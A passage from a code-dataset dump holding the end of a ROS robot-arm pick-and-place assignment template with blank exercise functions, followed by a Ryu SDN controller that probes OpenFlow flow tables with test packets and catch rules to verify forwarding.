print(robot.get_current_state())\n print(\"\")\n ## END_SUB_TUTORIAL\n\n # Misc variables\n self.box_name = ''\n self.robot = robot\n self.scene = scene\n self.group = group\n self.grip = grip\n self.planning_frame = planning_frame\n self.eef_link = eef_link\n self.group_names = group_names\n\n############################ Defining Joint Parameters ############################ \n\n def Front(self):\n group = self.group\n\n ## Planning to a Joint Goal\n # We can get the joint values from the group and adjust some of the values:\n joint_goal = group.get_current_joint_values()\n joint_goal[0] = 0\n joint_goal[1] = 0\n joint_goal[2] = 0\n joint_goal[3] = 0\n \n # The go command can be called with joint values, poses, or without any\n # parameters if you have already set the pose or joint target for the group\n group.go(joint_goal, wait=True)\n\n # Calling ``stop()`` ensures that there is no residual movement\n group.stop()\n\n current_joints = self.group.get_current_joint_values()\n return all_close(joint_goal, current_joints, 0.01)\n\n\n def Left(self):\n ##############################################################################\n ##### To complete function here; this function moves the arm to the left #####\n ##############################################################################\n\n \n \n \n \n return all_close(joint_goal, current_joints, 0.01)\n\n def Down(self):\n\n #######################################################################\n ##### To complete function here; this function moves the arm down #####\n #######################################################################\n\n \n \n\n \n return all_close(joint_goal, current_joints, 0.01)\n\n def gripper_open(self):\n ######################################################################\n ##### To complete function here; this function opens the gripper ##### \n ######################################################################\n\n\n \n joint_grip[0] = 0.005\n \n \n \n return all_close(joint_grip, current_grip, 0.01)\n\n def gripper_close(self):\n #######################################################################\n ##### To complete function here; this function closes the gripper #####\n #######################################################################\n\n\n \n joint_grip[0] = -0.005\n \n \n return all_close(joint_grip, current_grip, 0.01)\n\n\n########################################################################\n##### To complete pick function here; this function picks the item #####\n########################################################################\n\ndef pick():\n try:\n # Setting up the moveit_commander ...\n move_OM = MoveGroupPythonInteface()\n\n # Execute movement using 1st joint state goal: to move to left; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n\n # Execute gripper open; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n\n # Execute movement using 2nd joint state goal: to move down; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n\n #Execute gripper close; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n\n # Execute movement using 3rd joint state goal: to move up; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n\n # Execute movement using 4th joint state goal: to face front; Complete here to call the function, followed by a delay to allow time for the robot to complete its movements before the next step\n \n \n\n except rospy.ROSInterruptException:\n return\n except KeyboardInterrupt:\n return\n\n\n##########################################################################\n##### To complete place function here; this function places the item #####\n##########################################################################\n\n\ndef place():\n try:\n # Setting up the moveit_commander ...\n move_OM = MoveGroupPythonInteface()\n\n # Execute movement using 1st joint state goal; move to left ...\n \n\n # Execute movement using 2nd joint state goal; move down ...\n \n\n # Execute gripper open ...\n \n\n # Execute movement using 3rd joint state goal; move up ...\n \n\n # Execute movement using 4th joint state goal; face front ...\n \n\n except rospy.ROSInterruptException:\n return\n except KeyboardInterrupt:\n return\n\n######## Configuring Sequence of Function Execution in Main ######## \n\nif __name__ == '__main__':\n\n #allow time for launch setup to be completed\n time.sleep(5)\n\n #use OM to pick item from ground\n pick()\n\n #Move TB3 and item to desired position/orientation\n move()\n\n","sub_path":"src/Project5_template.py","file_name":"Project5_template.py","file_ext":"py","file_size_in_byte":13565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"347344255","text":"# imports\nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER, DEAD_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3, ofproto_v1_2, ether, inet\nfrom ryu.lib.packet import packet, ethernet, ether_types, ipv4, arp, tcp, udp\nfrom ryu.topology import event, switches\nfrom ryu.topology.api import get_switch, get_all_switch\nfrom ryu.topology.api import get_link, get_all_link\nimport ryu.app.ofctl.api as api\nimport ryu.utils as utils\n\nimport gather, requests, random, json, re, sys\nimport generator, time, gather, probing, netaddr, array\nimport copy\n\n#### CLASS\nclass ctrlapp(app_manager.RyuApp):\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n\n #### INIT\n def __init__(self, *args, **kwargs):\n super(ctrlapp, self).__init__(*args, **kwargs)\n self.isTesting = False\n self.testingRules =[]\n self.isTablesPopulated = False\n self.totalSent = 0\n self.totalReceived = 0\n self.starttime = 0\n self.rulesInstalled = 0\n self.rulesRemoved = 0\n self.generateTime = 0\n self.totalOverlap = 0\n self.pullFlowTable = 0\n self.allFlowTables = dict()\n self.packetGenTime = 0\n self.installCatchRuleTime = 0\n self.skipFirstMiss = 0\n self.dataPathsList = dict()\n self.tos=0\n self.dstSwitch=0\n # USed for learning switch functioning\n self.mac_to_port = {}\n # Holds the topology data and structure\n self.topo_raw_switches = []\n self.topo_raw_links = []\n\n\n #### PACKET IN\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n def packetIn(self, ev):\n \"\"\" PacketIn message \"\"\"\n\n # Parse the incoming packet\n msg = ev.msg\n datapath = msg.datapath\n ofp = datapath.ofproto\n parser = datapath.ofproto_parser\n pkt = packet.Packet(msg.data)\n \n\n # Empty packets, will/should never happen\n if len(pkt.get_protocols(ethernet.ethernet)) < 1:\n return\n eth = pkt.get_protocols(ethernet.ethernet)[0]\n\n # Ignore LLDP packets when using verbose mode\n if eth.ethertype == ether_types.ETH_TYPE_LLDP:\n return\n\n # print out the packetin\n\n \"\"\"print (\"\\n OFPPacketIn received: switch=\", datapath.id, \"buffer_id=\", \n msg.buffer_id , \"total_len=\" , msg.total_len , \" reason=\" , \n msg.reason , \"table_id=\" , msg.table_id , \"cookie=\" , msg.cookie , \n \"match=\" , msg.match , \"pkt=\" , pkt , \"\\n\")\n \"\"\"\n \n # Populate flow tables, once\n if eth.ethertype == ether_types.ETH_TYPE_ARP:\n if (pkt.get_protocols(arp.arp)[0].src_ip == \"10.0.0.1\" and \n pkt.get_protocols(arp.arp)[0].dst_ip == \"10.0.0.20\" and \n pkt.get_protocols(arp.arp)[0].src_mac == \"00:00:00:00:00:01\"):\n if not self.isTablesPopulated:\n self.populateAllFlowtables()\n self.isTablesPopulated = True\n\n\n # Reset Test \n if eth.ethertype == ether_types.ETH_TYPE_ARP:\n if (pkt.get_protocols(arp.arp)[0].src_ip == \"10.0.0.1\" and \n pkt.get_protocols(arp.arp)[0].dst_ip == \"10.0.0.30\" and \n pkt.get_protocols(arp.arp)[0].src_mac == \"00:00:00:00:00:01\"):\n if self.isTesting:\n self.isTesting=False\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"************** TEST IS RESET SUCESSFULLY !!! ******************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n\n # Check trigger conditions to start testing\n if (eth.ethertype == ether_types.ETH_TYPE_ARP and not self.isTesting):\n if (pkt.get_protocols(arp.arp)[0].src_ip == \"10.0.0.1\" and \n pkt.get_protocols(arp.arp)[0].dst_ip == \"10.0.0.10\" and \n pkt.get_protocols(arp.arp)[0].src_mac == \"00:00:00:00:00:01\"):\n self.isTesting = True\n queries=probing.getQueries()\n self.dataPathsList=self.getDataPaths()\n for query in queries:\n probepath=query[\"path\"]\n print(\"probepath: \",probepath)\n probePacket=query[\"packet\"]\n print(\"probe: \",probePacket)\n self.tos=int(query[\"tos\"])\n self.dstSwitch=int(query[\"dst\"])\n# probePackage={\"probePacket\":probePacket,\"probepath\":probepath}\n# probeList=list()\n# probeList.append(probePackage)\n# self.dataPathsList=self.getDataPaths()\n# print(\"datapaths: \", self.dataPathsList)\n# print(\"datapath 1: \", self.dataPathsList[1])\n\n# self.frodeTest(msg, datapath, ofp, pkt)\n self.ramtinTest(msg, datapath, ofp, pkt, query)\n # Check packetin L3 PDU for ToS\n if msg.reason == ofp.OFPR_ACTION:\n if len(pkt.get_protocols(ipv4.ipv4)) is not 0:\n if pkt.get_protocols(ipv4.ipv4)[0].tos is self.tos:\n self.totalReceived += 1\n if datapath.id is self.dstSwitch: \n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"***************** REACH THE TARGET *********************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n else:\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n print(\"************ WARNING : THERE IS A FAILURE !!! *****************\")\n print(\"*********************************************************************\")\n print(\"*********************************************************************\")\n\n\n # is last rule?\n if len(self.testingRules) is 0:\n print (\"TOTAL SENT \" , self.totalSent)\n print (\"RECEIVED LAST \" , self.totalReceived)\n print (\"TOTAL OVERLAPS: \" , self.totalOverlap)\n print (\"CATCH-RULE INSTALLATION TIME: \" , format(self.installCatchRuleTime - self.starttime, '.5f'))\n print (\"TIME ON LINK: \" , format(time.time() - self.starttime - self.packetGenTime, '.5f'))\n print (\"TOTAL RUNTIME: \" , format(time.time() - self.starttime, '.5f'))\n ''' else:\n forwardingProcess(ev)\n '''\n # Invalid TTL, might be caused by loop\n elif msg.reason == ofp.OFPR_INVALID_TTL:\n print (\"INVALID TTL\")\n # is test packet?\n if len(pkt.get_protocols(ipv4.ipv4)) is not 0:\n if pkt.get_protocols(ipv4.ipv4)[0].tos is self.tos:\n print (\"INVALID TTL ON TEST PACKET\")\n\n\n\n # Table miss, might be shadow or non-working rule? or just a miss\n elif msg.reason == ofp.OFPR_NO_MATCH:\n # is test packet?\n if len(pkt.get_protocols(ipv4.ipv4)) > 0:\n if pkt.get_protocols(ipv4.ipv4)[0].tos is self.tos and self.skipFirstMiss > 0:\n # yes its a test packet, investigate..\n self.totalReceived += 1\n probe = self.compareMatchPacket(pkt)\n if probe != -1:\n print (\"Rule MISS received on \" , datapath.id , \" , but was expected on \" , probe[\"neighbour\"])\n print (\"ENTRY: \\n\" , probe)\n self.skipFirstMiss += 1\n\n\n ### Frode Test\n def frodeTest(self, msg, datapath, ofp, pkt):\n \n # Time the execution\n self.starttime = time.time()\n allSwitches = self.getAllDatapaths()\n # Loop through all switches\n for sw in allSwitches:\n print(\"===============================================================================\")\n print (\"Testing switch: \" , sw.dp.id)\n #if sw.dp.id is 1:\n # remove catch rule from self, if any\n self.removeCatchRuleByID(sw.dp.id)\n\n # Install catch rules on neighbours\n allNeighbours = self.getNeighborsByID(sw.dp.id)\n for neigh in allNeighbours: # id\n self.addCatchRuleByID(int(neigh,16))\n\n # Scrape and sort flowtable\n flowtable = gather.getMatchData(sw.dp.id)\n flowtable = sorted(flowtable, key=generator.sortKey, reverse=True)\n\n\n # Loop through flow table entries\n for entry in flowtable:\n # Generate packet from match field and rules above\n pkt = generator.packetFromMatch(entry, flowtable)\n self.generateTime = time.time()\n\n # add packet to list\n entry[\"packet\"] = {\"ip\" : pkt.get_protocol(ipv4.ipv4())}\n\n if entry[\"packet\"][\"ip\"].proto is 6:\n entry[\"packet\"][\"tcp\"] = pkt.get_protocol(tcp.tcp())\n elif entry[\"packet\"][\"ip\"].proto is 17:\n entry[\"packet\"][\"udp\"] = pkt.get_protocol(udp.udp())\n\n # is total overlap? \n if pkt == -1:\n # log and move on\n entry[\"totalOverlap\"] = True\n self.totalOverlap += 1\n # log some info about\n # the entry & packet\n break # ?\n\n # is drop rule?\n if (len(entry[\"actions\"]) is 0 or re.search('CLEAR_ACTIONS', entry[\"actions\"][0]) is not None):\n # get match and send packet\n self.checkDropRule(entry, pkt, sw)\n\n # is unicast\n else:\n # get match and send packet\n self.checkUnicastRule(entry, pkt, sw)\n\n\n\n self.packetGenTime = self.generateTime - self.starttime\n print (\"PACKET GEN TIME: \" , format(self.packetGenTime, '.5f'))\n\n # done testing?\n #self.isTesting = False\n\n # clean up\n #for sw in allSwitches:\n # self.removeCatchRule(sw.dp)\n\n\n ### Frode Test\n def ramtinTest(self, msg, datapath, ofp, pkt, query):\n \n # Time the execution\n self.starttime = time.time()\n sw =self.dataPathsList.get(int(query[\"src\"]))\n print(\"===============================================================================\")\n print (\"Testing switch: \" , sw.dp.id)\n \t\t#if sw.dp.id is 1:\n \t\t# remove catch rule from self, if any\n self.removeCatchRuleByID(sw.dp.id)\n # Install catch rules on neighbours\n allNeighbours=self.getExpectedPathNeighbors(query[\"path\"])\n for neigh in allNeighbours: # id\n# self.addCatchRuleByID(int(neigh.lstrip(\"0\")))\n self.addCatchRuleByID(int(neigh,16))\n print(\"the neighbor: \",allNeighbours)\n self.addCatchRuleByID(int(query[\"dst\"]))\n self.installCatchRuleTime=time.time()\n \t\t# Scrape and sort flowtable\n ''' \n flowtable = gather.getMatchData(sw.dp.id)\n flowtable = sorted(flowtable, key=generator.sortKey, reverse=True)\n '''\n self.generateTime = time.time()\n pkt = generator.makeCustomTestPacket(query[\"packet\"],self.tos)\n '''\n # add packet to list\n entry[\"packet\"] = {\"ip\" : pkt.get_protocol(ipv4.ipv4())}\n if entry[\"packet\"][\"ip\"].proto is 6:\n entry[\"packet\"][\"tcp\"] = pkt.get_protocol(tcp.tcp())\n elif entry[\"packet\"][\"ip\"].proto is 17:\n entry[\"packet\"][\"udp\"] = pkt.get_protocol(udp.udp()) \t\n \t\t# is total overlap?\n if pkt == -1:\n \t\t\t# log and move on\n entry[\"totalOverlap\"] = True\n self.totalOverlap += 1\n \t\t\t# log some info about\n \t\t\t# the entry & packet\n break # ?\n \t\n \t\t# is drop rule?\n if (len(entry[\"actions\"]) is 0 or re.search('CLEAR_ACTIONS', entry[\"actions\"][0]) is not None):\n \t\t# get match and send packet\n self.checkDropRule(entry, pkt, sw)\n \n \t\t# is unicast\n else:\n \t\t\t# get match and send packet\n self.checkUnicastRule(entry, pkt, sw)\n '''\n self.newCheckUnicastRule(pkt, sw)\n self.packetGenTime = time.time() - self.generateTime #- self.starttime\n print (\"PACKET GEN TIME: \" , format(self.packetGenTime, '.5f'))\n \t\n \t\t# done testing?\n \t\t#self.isTesting = False\n \t\n \t\t# clean up\n \t\t#for sw in allSwitches:\n \t\t# self.removeCatchRule(sw.dp)\n \t\n \t\t\t\t\t\n\n #### DATAPATHS\n def getDatapathByID(self, dpid):\n \"\"\" Returns datapath object by ID \"\"\"\n return api.get_datapath(self, dpid)\n\n def getAllDatapaths(self):\n \"\"\" Returns a list of all switch objects \"\"\"\n switches = list()\n for i in get_all_switch(self):\n switches.append(i)\n return switches\n \n def getDataPaths(self):\n \"\"\" Returns a dict of all switch objects \"\"\"\n switches = dict()\n for i in get_all_switch(self):\n switches[i.dp.id]=i\n return switches\n \n \n\n\n #### LINKS\n def getAllLinks(self):\n \"\"\" Get all link objects \"\"\"\n links = list()\n for i in get_all_link(self):\n links.append(i)\n return links\n \n def getLinksByDatapathID(self, dpid):\n \"\"\" Get datapath links by object ID \"\"\"\n #dp = self.getDatapathByID(dpid)\n #link = get_link(self, dp.id)\n link = get_link(self, dpid)\n return link\n\n\n #### NEIGHBOURHOOD\n def getNeighborsByID(self, dpid):\n \"\"\" Get list of datapath neighbor (IDs) \"\"\"\n neigh = list()\n for link in self.getLinksByDatapathID(dpid):\n for k, v in link.to_dict().items():\n if k is 'dst':\n neigh.append(v['dpid'])\n return neigh\n \n def getAllDatapathNeighbors(self):\n \"\"\" Get dict of all datapath neighbor (IDs) \"\"\"\n allNeighbors = {}\n for d in self.getAllDatapaths():\n allNeighbors[d.dp.id] = self.getNeighborsByID(d.dp.id)\n return allNeighbors\n\n def getNeighborByPort(self, dpid, port):\n \"\"\" Get dpid from port number \"\"\"\n for link in self.getLinksByDatapathID(dpid):\n if link.to_dict()[\"src\"][\"port_no\"].lstrip(\"0\") == str(port):\n return link.to_dict()[\"dst\"][\"dpid\"].lstrip(\"0\")\n\n def getExpectedPathNeighbors(self, expath):\n \"\"\"expath format: ['1','2','3'] neighbor format: ['0000000000000001','0000000000000002','0000000000000003'] \"\"\"\n neighbor=set()\n if type(expath) != 'set':\n path=set(expath)\n else:\n path=expath\n datapathNeighbors=self.getAllDatapathNeighbors()\n for sw in path:\n neighbor.update(datapathNeighbors.get(int(sw)))\n\n pathList=list(path)\n for i in range(len(pathList)):\n pathList[i]=\"0\"*(len(list(neighbor)[0])-len(str(hex(int(pathList[i]))).split('x')[1])) + str(hex(int(pathList[i]))).split('x')[1] #convert expath foramt to neighbor format\n\n neighbor.difference_update(set(pathList))\n return neighbor\n\n\n #### CATCH RULES\n def addCatchRule(self, datapath, prio=None, ckie=None, prt=None):\n \"\"\" Install catch rule by datapath object \"\"\"\n ofp = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n priority = prio if prio is not None else 65500\n cookie = ckie if ckie is not None else 65500\n port = prt if prt is not None else ofp.OFPP_CONTROLLER\n buffer_id = ofp.OFP_NO_BUFFER\n match = ofp_parser.OFPMatch(eth_type = 2048, ip_dscp = 1)\n actions = [ofp_parser.OFPActionOutput(port)]\n inst = [ofp_parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = ofp_parser.OFPFlowMod(datapath, cookie, 0, 0, ofp.OFPFC_ADD, 0, 0, priority, \n buffer_id, ofp.OFPP_ANY, ofp.OFPG_ANY, 0, match, inst)\n print (\"\\nADD CATCH RULE ON SWITCH: \" , datapath.id , \"\\n\" , req , \"\\n\")\n datapath.send_msg(req)\n\n\n def addCatchRuleByID(self, dpid):\n \"\"\" Add catch rule by datapath ID \"\"\"\n self.addCatchRule(self.getDatapathByID(dpid))\n \n\n def removeCatchRule(self, datapath, prio=None, ckie=None, prt=None):\n \"\"\" Remove catch rule \"\"\"\n ofp = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n priority = prio if prio is not None else 65500\n cookie = ckie if ckie is not None else 65500\n port = prt if prt is not None else ofp.OFPP_CONTROLLER\n buffer_id = ofp.OFP_NO_BUFFER\n match = ofp_parser.OFPMatch(eth_type = 2048, ip_dscp = 1)\n actions = [ofp_parser.OFPActionOutput(port)]\n inst = [ofp_parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\n req = ofp_parser.OFPFlowMod(datapath, cookie, 0, 0, ofp.OFPFC_DELETE, 0, 0, \n priority, buffer_id,ofp.OFPP_ANY, ofp.OFPG_ANY,\n ofp.OFPFF_SEND_FLOW_REM, match, inst)\n print (\"\\nREMOVE CATCH RULE ON SWITCH: \" , datapath.id , \"\\n\" , req , \"\\n\")\n datapath.send_msg(req)\n\n\n def removeCatchRuleByID(self, dpid):\n \"\"\" Remove catch rule by datapath ID \"\"\"\n self.removeCatchRule(self.getDatapathByID(dpid))\n\n\n\n #### SEND OUT PACKET\n def sendPacket(self, datapath, pkt=None, in_port=None):\n \"\"\" Send packet by datapath object \"\"\"\n ofp = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n buffer_id = ofp.OFP_NO_BUFFER\n actions = [ofp_parser.OFPActionOutput(ofp.OFPP_TABLE)]\n pkt = pkt if pkt is not None else generator.makeTestPacket()\n\n # in port set or use ANY?\n if in_port is None or re.search('ANY', str(in_port)) is not None:\n in_port = ofp.OFPP_ANY\n\n req = ofp_parser.OFPPacketOut(datapath, buffer_id, in_port, actions, pkt)\n print (\"\\nPACKET OUT FROM SW \" , datapath.id , \" : \" , req)\n datapath.send_msg(req)\n\n\n def sendPacketByID(self, dpid, pkt=None, in_port=None):\n \"\"\" Send test packet by datapath ID \"\"\"\n self.sendPacket(self.getDatapathByID(dpid), pkt, in_port)\n\n\n\n #### RULE PARSING\n def checkDropRule(self, entry, pkt, sw):\n \"\"\" Check drop rule by rewriting the ft entry and probe the rule \"\"\"\n\n # edge cases for prio # not testable\n if (int(entry[\"priority\"]) is 65500 or int(entry[\"priority\"]) is 0):\n return -1\n\n entry[\"isDrop\"] = True\n\n # pick a random neighbour to (maybe) receive the probe\n dplink = self.getLinksByDatapathID(sw.dp.id)[0] # pick first port\n dpport = dplink.src.to_dict()[\"port_no\"].lstrip(\"0\")\n entry[\"neighbour\"] = self.getNeighborByPort(sw.dp.id, dpport) # get neigh on link\n prio = int(entry[\"priority\"])\n ckie = int(entry[\"cookie\"])\n \n # choose port\n if \"in_port\" in entry.get(\"match\", {}):\n port = entry[\"match\"][\"in_port\"]\n else:\n port = \"ANY\"\n\n # append info\n entry[\"port\"] = port\n entry[\"dpid\"] = sw.dp.id\n\n # add catch rules above (cntrl) and below (neigh) target rule\n self.addCatchRule(sw.dp, prio+1, prio+1)\n self.addCatchRule(sw.dp, prio-1, prio-1, int(dpport))\n\n # send packet\n self.sendPacket(sw.dp, pkt, port)\n self.testingRules.append(entry)\n self.totalSent += 1\n\n # delete rules\n self.removeCatchRule(sw.dp, prio+1, prio+1)\n self.removeCatchRule(sw.dp, prio-1, prio-1, int(dpport))\n\n\n def checkUnicastRule(self, entry, pkt, sw):\n \"\"\" Probe unicast rule \"\"\"\n\n entry[\"isDrop\"] = False\n\n # ignore out to cntrl\n isOutput = re.search('OUTPUT', entry[\"actions\"][0])\n isCntrl = re.search('CONTROLLER', entry[\"actions\"][0])\n\n if isOutput is not None and isCntrl is None:\n entry[\"outport\"] = entry[\"actions\"][0].split(\":\",1)[1]\n entry[\"neighbour\"] = self.getNeighborByPort(sw.dp.id, entry[\"outport\"])\n entry[\"dpid\"] = sw.dp.id\n\n # choose port\n if \"in_port\" in entry.get(\"match\", {}):\n entry[\"in_port\"] = entry[\"match\"][\"in_port\"]\n else:\n entry[\"in_port\"] = \"ANY\"\n\n # send out the probe\n self.sendPacket(sw.dp, pkt, entry[\"in_port\"])\n self.testingRules.append(entry)\n self.totalSent += 1\n \n def newCheckUnicastRule(self, pkt, sw):\n \"\"\" Probe unicast rule \"\"\"\n # send out the probe\n self.sendPacket(sw.dp, pkt, \"ANY\") \n\n def compareMatchPacket(self, pkt):\n \"\"\" \n Compare incoming packet with entries in dictlist.\n If no entry found, return -1\n \"\"\"\n\n entry = \"\"\n # incoming probe, find target entry in list\n for rule in self.testingRules:\n \n # does layer 3 match?\n packetIP = pkt.get_protocol(ipv4.ipv4())\n ruleIP = rule[\"packet\"][\"ip\"]\n if (ruleIP.src == packetIP.src and ruleIP.dst == packetIP.dst):\n \n # has layer 4, and is matching?\n if (ruleIP.proto != 0 and ruleIP.proto == packetIP.proto):\n if ruleIP.proto is 6:\n packetTCP = pkt.get_protocol(tcp.tcp())\n ruleTCP = rule[\"packet\"][\"tcp\"]\n if (ruleTCP.src_port == packetTCP.src_port and \n ruleTCP.dst_port == packetTCP.dst_port):\n index = self.testingRules.index(rule)\n return self.testingRules.pop(index)\n\n elif ruleIP.proto is 17:\n udpPacket = pkt.get_protocol(udp.udp())\n ruleUDP = rule[\"packet\"][\"udp\"]\n if (ruleUDP.src_port == udpPacket.src_port and\n ruleUDP.dst_port == udpPacket.dst_port):\n index = self.testingRules.index(rule)\n return self.testingRules.pop(index)\n\n # rule is L4, but not matching\n print (\"rule is L4, but not matching\")\n return -1\n index = self.testingRules.index(rule)\n return self.testingRules.pop(index)\n # no match found\n print (\"no match found\")\n return -1\n\n\n def loopcheck(self, pkt, dpid, entry):\n \"\"\" \n Method for looping through flowtable, match packet and look at outport \n - pull the flowtable from dpid\n - loop through and find match for pkt\n - if any match, loop is found\n - print the pkt and original entry\n \"\"\"\n\n\n # scrape flowtable\n if dpid not in self.allFlowTables:\n flowtable = gather.getMatchData(dpid)\n flowtable = sorted(flowtable, key=generator.sortKey, reverse=True)\n self.allFlowTables[dpid] = flowtable\n \n # create packet from entry and compare with the incoming packet\n for field in self.allFlowTables[dpid]:\n fieldPacket = generator.packetFromMatch(field, self.allFlowTables[dpid])\n\n # proto matching? \n if (pkt.get_protocol(ipv4.ipv4()).proto != \n fieldPacket.get_protocol(ipv4.ipv4()).proto):\n continue\n\n # check layer 4\n fieldSport = \"\"\n fieldDport = \"\"\n\n if fieldPacket.get_protocol(tcp.tcp()) is not None:\n fieldSport = fieldPacket.get_protocol(tcp.tcp()).src_port\n fieldDport = fieldPacket.get_protocol(tcp.tcp()).dst_port\n elif fieldPacket.get_protocol(udp.udp()) is not None:\n fieldSport = fieldPacket.get_protocol(udp.udp()).src_port\n fieldDport = fieldPacket.get_protocol(udp.udp()).dst_port\n\n if \"tp_src\" in field[\"match\"]:\n if fieldSport != field[\"match\"][\"tp_src\"]:\n continue\n elif \"tp_dst\" in field[\"match\"]:\n if fieldDport != field[\"match\"][\"tp_src\"]:\n continue\n\n\n # check layer 3\n fieldSrcRange = \"\"\n fieldDstRange = \"\"\n\n if \"nw_src\" in field[\"match\"]:\n fieldSrcRange = generator.addressToIPSet(field[\"match\"][\"nw_src\"])\n if \"nw_dst\" in field[\"match\"]:\n fieldDstRange = generator.addressToIPSet(field[\"match\"][\"nw_dst\"])\n\n # check if packet resides in the fields IP range, if any\n pktSrcRange = netaddr.IPSet([pkt.get_protocol(ipv4.ipv4()).src])\n pktDstRange = netaddr.IPSet([pkt.get_protocol(ipv4.ipv4()).dst])\n\n overlap = [False, False]\n for i in fieldSrcRange:\n for k in pktSrcRange:\n if i == k:\n overlap[0] = True\n\n for i in fieldDstRange:\n for k in pktDstRange:\n if i == k:\n overlap[1] = True\n\n # if packet might match with the entry\n if overlap[0] is True or overlap[1] is True:\n isOutput = re.search('OUTPUT', field[\"actions\"][0])\n isCntrl = re.search('CONTROLLER', field[\"actions\"][0])\n if isOutput is not None and isCntrl is None:\n # check neighbour on link\n outport = field[\"actions\"][0].split(\":\",1)[1]\n neigh = self.getNeighborByPort(dpid, outport)\n if neigh is None:\n # not possible to determine\n return 0\n\n if int(neigh) == entry[\"dpid\"]:\n print (\"LOOP FOUND FOR SWITCH \" , dpid)\n print (\"PACKET: \" , pkt)\n #print (\"FIELDPACKET: \" , fieldPacket)\n print (\"ENTRY: \" , field)\n return 1\n # no loop, move to next\n return 0\n\n\n\n #### POPULATE WITH FAKE FLOWS\n def populateAllFlowtables(self):\n \"\"\" Populate all datapaths with fake flow table entries \"\"\"\n for sw in self.getAllDatapaths():\n links = self.getLinksByDatapathID(sw.dp.id)\n for r in range(random.randint(3, 3)):\n sw.dp.send_msg(generator.makeRandomFlowMod(sw.dp, links))\n\n\n\n\n\n'''\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n msg = ev.msg\n self.logger.info('OFPSwitchFeatures received: '\n '\\n\\tdatapath_id=0x%016x n_buffers=%d '\n '\\n\\tn_tables=%d auxiliary_id=%d '\n '\\n\\tcapabilities=0x%08x',\n msg.datapath_id, msg.n_buffers, msg.n_tables,\n msg.auxiliary_id, msg.capabilities)\n\n datapath = ev.msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n match = parser.OFPMatch()\n actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,\n ofproto.OFPCML_NO_BUFFER)]\n self.add_flow(datapath, 0, match, actions)\n\n # We are not using this function\n def delete_flow(self, datapath):\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n for dst in self.mac_to_port[datapath.id].keys():\n match = parser.OFPMatch(eth_dst=dst)\n mod = parser.OFPFlowMod(\n datapath, command=ofproto.OFPFC_DELETE,\n out_port=ofproto.OFPP_ANY, out_group=ofproto.OFPG_ANY,\n priority=1, match=match)\n datapath.send_msg(mod)\n\n def add_flow(self, datapath, priority, match, actions, buffer_id=None):\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS,\n actions)]\n if buffer_id:\n mod = parser.OFPFlowMod(datapath=datapath, buffer_id=buffer_id,\n priority=priority, match=match,\n instructions=inst)\n else:\n mod = parser.OFPFlowMod(datapath=datapath, priority=priority,\n match=match, instructions=inst)\n datapath.send_msg(mod)\n\n\n\n def forwardingProcess(self,ev):\n if ev.msg.msg_len < ev.msg.total_len:\n self.logger.debug(\"packet truncated: only %s of %s bytes\",\n ev.msg.msg_len, ev.msg.total_len)\n msg = ev.msg\n datapath = msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n in_port = msg.match['in_port']\n\n pkt = packet.Packet(msg.data)\n eth = pkt.get_protocols(ethernet.ethernet)[0]\n\n dst = eth.dst\n src = eth.src\n\n dpid = datapath.id\n self.mac_to_port.setdefault(dpid, {})\n\n # self.logger.info(\"\\tpacket in %s %s %s %s\", dpid, src, dst, in_port)\n\n # learn a mac address to avoid FLOOD next time.\n self.mac_to_port[dpid][src] = in_port\n\n if dst in self.mac_to_port[dpid]:\n out_port = self.mac_to_port[dpid][dst]\n else:\n out_port = ofproto.OFPP_FLOOD\n\n actions = [parser.OFPActionOutput(out_port)]\n\n # install a flow to avoid packet_in next time\n if out_port != ofproto.OFPP_FLOOD:\n match = parser.OFPMatch(in_port=in_port, eth_dst=dst)\n # verify if we have a valid buffer_id, if yes avoid to send both\n # flow_mod & packet_out\n if msg.buffer_id != ofproto.OFP_NO_BUFFER:\n self.add_flow(datapath, 1, match, actions, msg.buffer_id)\n return\n else:\n self.add_flow(datapath, 1, match, actions)\n data = None\n if msg.buffer_id == ofproto.OFP_NO_BUFFER:\n data = msg.data\n\n out = parser.OFPPacketOut(datapath=datapath, buffer_id=msg.buffer_id,\n in_port=in_port, actions=actions, data=data)\n datapath.send_msg(out)\n\n ###################################################################################\n \"\"\"\n The event EventSwitchEnter will trigger the activation of get_topology_data().\n \"\"\"\n @set_ev_cls(event.EventSwitchEnter)\n def handler_switch_enter(self, ev):\n # The Function get_switch(self, None) outputs the list of switches.\n self.topo_raw_switches = copy.copy(get_switch(self, None))\n # The Function get_link(self, None) outputs the list of links.\n self.topo_raw_links = copy.copy(get_link(self, None))\n\n \"\"\"\n Now you have saved the links and switches of the topo. So you could do all sort of stuf with them. \n 